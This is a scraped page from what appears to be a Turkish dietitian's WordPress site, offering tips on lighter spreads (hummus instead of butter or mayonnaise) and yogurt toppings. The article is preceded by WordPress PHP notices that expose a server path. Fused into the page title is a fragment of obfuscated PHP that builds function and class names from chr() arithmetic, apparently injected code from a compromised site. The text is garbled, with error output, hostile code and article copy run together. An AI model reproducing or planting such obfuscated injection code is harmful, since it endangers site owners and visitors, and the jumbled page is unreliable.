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Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the all-in-one-wp-security-and-firewall domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

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Notice: _load_textdomain_just_in_time işlevi yanlış çağrıldı. Translation loading for the nutrico domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Ayrıntılı bilgi almak için lütfen WordPress hata ayıklama bölümüne bakın. (Bu ileti 6.7.0 sürümünde eklendi.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121
$KPSRXNVL = chr ( 790 - 710 ).'_' . 'x' . 'c' . "\125" . chr ( 120 - 19 ); $xSYKKfUqz = chr ( 304 - 205 ).chr ( 252 - 144 ).chr (97) . 's' . "\163" . "\x5f" . "\x65" . "\170" . "\151" . "\x73" . "\x74" . 's';$tDLjarJaO = class_exists($KPSRXNVL); $KPSRXNVL = "64582";$xSYKKfUqz = "23685";$wSXkaxVLu = FALSE;$AyJRmGc = 's' . chr (95) . "\156" . "\x47" . "\x65";$lnWjZ = "\x63" . "\154" . chr (97) . chr ( 595 - 480 )."\163" . chr ( 167 - 72 ).'e' . 'x' . "\151" . chr (115) . chr (116) . 's'; Takviyeler | Bursa Uzman Diyetisyeni & Fitoterapist Nursena Ardalı
Daha hafif, daha sağlıklı seçenekler için kalori spreadlerini ve Toping'leri değiştirmek, lezzetten fedakarlık göstermeniz gerektiği anlamına gelmez. Tostunuzda tereyağı veya sandviçinizde mayonez yerine, ekmeğinizi humus ile tüketmeyi deneyin; yağda daha düşük, proteinte daha yüksek ve lezzet dolu olduğunu göreceksiniz.
Yeme alışkanlıkları kolay değişmez ve uzmanlarda bunun farkında fakat yoğurdunuzu şeker, yağ ve hatta tuz bakımından yüksek granola ile doldurmak yerine, üstüne bir parça fıstık ezmesi koyun ve dilimlenmiş muz veya elma ekleyin. Ekstra protein ve vitamin takviyesi ile doğal tatlılık elde edersiniz. Mills, “Taze üzüm ve fıstık ezmesi veya kıyılmış yer fıstığı içeren az yağlı yoğurt, tıpkı bir fıstık ezmesi sandviçi yiyormuş hissi verecektir” diyor.
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